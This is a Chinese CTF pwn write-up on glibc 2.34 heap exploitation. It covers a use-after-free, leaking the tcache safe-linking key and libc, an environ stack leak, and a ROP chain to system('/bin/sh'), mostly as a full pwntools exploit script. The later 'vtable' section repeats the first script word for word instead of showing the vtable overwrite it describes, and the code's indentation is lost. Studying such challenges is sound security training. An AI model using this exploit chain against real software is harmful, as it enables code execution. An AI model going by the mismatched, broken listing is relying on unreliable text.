Glibc版本变化

随着glibc版本的变化,堆的打法限制也是越来越多。主要记录一下每个版本的大致差别

  • 2.27 版本引入了tcache,同时在2.27的高版本引入了bk字段的flag用来防止double free
  • 2.29 版本unsorted binhouse of forcehouse of storm等利用手段失效,off by null的利用手段更为复杂,setcontext函数汇编代码中rdi寄存器寻址变为rdx寻址,可以通过如house of pig或找一段gadget来实现沙盒绕过(也可以直接用堆栈结合)
  • 2.32 加入了堆块fd异或操作,想要利用需要通过如UAF等漏洞先泄露异或key
  • 2.34 取消了malloc_hookfree_hook,可以通过打IO或者堆栈结合的方式完成getshell

漏洞点

image-20240328174725660

存在UAF

攻击思路

由于在glibc-2.34中没有malloc_hook和free_hook了,所以如果要篡改执行流的话,就可以利用申请栈空间,然后构造ROP。通过泄露libc地址,由于fd是被key异或过的,所以需要先将key泄露出来。然后伪造的fd异或key即可。

泄露出libc后,利用environ泄露出栈地址,然后申请到能控制ret返回地址的chunk,构造ROP。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node4.anna.nssctf.cn', 28836)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add():
rl("Choice: ")
sl('1')
def show(index):
rl("Choice: ")
sl('3')
rl("Idx: ")
sl(str(index))
def edit(index,size,content):
rl("Choice: ")
sl('4')
rl("Idx: ")
sl(str(index))
rl("Size: ")
sl(str(size))
rl("Content: ")
sl(content)
def delete(index):
rl("Choice: ")
sl('2')
rl("Idx: ")
sl(str(index))

gdb.attach(p)
for i in range(10):
add()
for i in range(8,-1,-1):
delete(i)
show(0)
rl("\x0a")
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x1f2cc0
lg("libc_base",libc_base)
environ = libc_base+libc.sym['_environ']
lg("environ",environ)
pop_rdi = 0x000000000002daa2+libc_base
ret = 0x000000000002cb99+libc_base
system = libc_base+libc.sym['system']
binsh = libc_base+next(libc.search('/bin/sh\x00'))

show(8)
rl("\x0a")
heap_key = u64(p.recv(5).ljust(8, '\x00'))
heap_base = heap_key << 12
lg("heap_leak",heap_key)
lg("heap_base",heap_base)

edit(2,0x100,p64(heap_key^environ))
add()
add()
show(11)
stack_addr = l64()
lg("stack_addr",stack_addr)
addr = stack_addr-0x168

edit(1,0x10,p64(0)*2)
delete(1)
edit(1,0x100,p64(addr^heap_key))
add()
add()
edit(13,0x40,p64(0)*3+p64(pop_rdi)+p64(binsh)+p64(system))

inter()

修改vtable表

当调用puts函数时,会执行_IO_file_jumps中的_IO_new_file_overflow。所以利用uaf申请到_IO_file_jumps处的chunk,然后修改_IO_new_file_overflow的地址为onegadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node4.anna.nssctf.cn', 28836)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add():
rl("Choice: ")
sl('1')
def show(index):
rl("Choice: ")
sl('3')
rl("Idx: ")
sl(str(index))
def edit(index,size,content):
rl("Choice: ")
sl('4')
rl("Idx: ")
sl(str(index))
rl("Size: ")
sl(str(size))
rl("Content: ")
sl(content)
def delete(index):
rl("Choice: ")
sl('2')
rl("Idx: ")
sl(str(index))

gdb.attach(p)
for i in range(10):
add()
for i in range(8,-1,-1):
delete(i)
show(0)
rl("\x0a")
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x1f2cc0
lg("libc_base",libc_base)
environ = libc_base+libc.sym['_environ']
lg("environ",environ)
pop_rdi = 0x000000000002daa2+libc_base
ret = 0x000000000002cb99+libc_base
system = libc_base+libc.sym['system']
binsh = libc_base+next(libc.search('/bin/sh\x00'))

show(8)
rl("\x0a")
heap_key = u64(p.recv(5).ljust(8, '\x00'))
heap_base = heap_key << 12
lg("heap_leak",heap_key)
lg("heap_base",heap_base)

edit(2,0x100,p64(heap_key^environ))
add()
add()
show(11)
stack_addr = l64()
lg("stack_addr",stack_addr)
addr = stack_addr-0x168

edit(1,0x10,p64(0)*2)
delete(1)
edit(1,0x100,p64(addr^heap_key))
add()
add()
edit(13,0x40,p64(0)*3+p64(pop_rdi)+p64(binsh)+p64(system))

inter()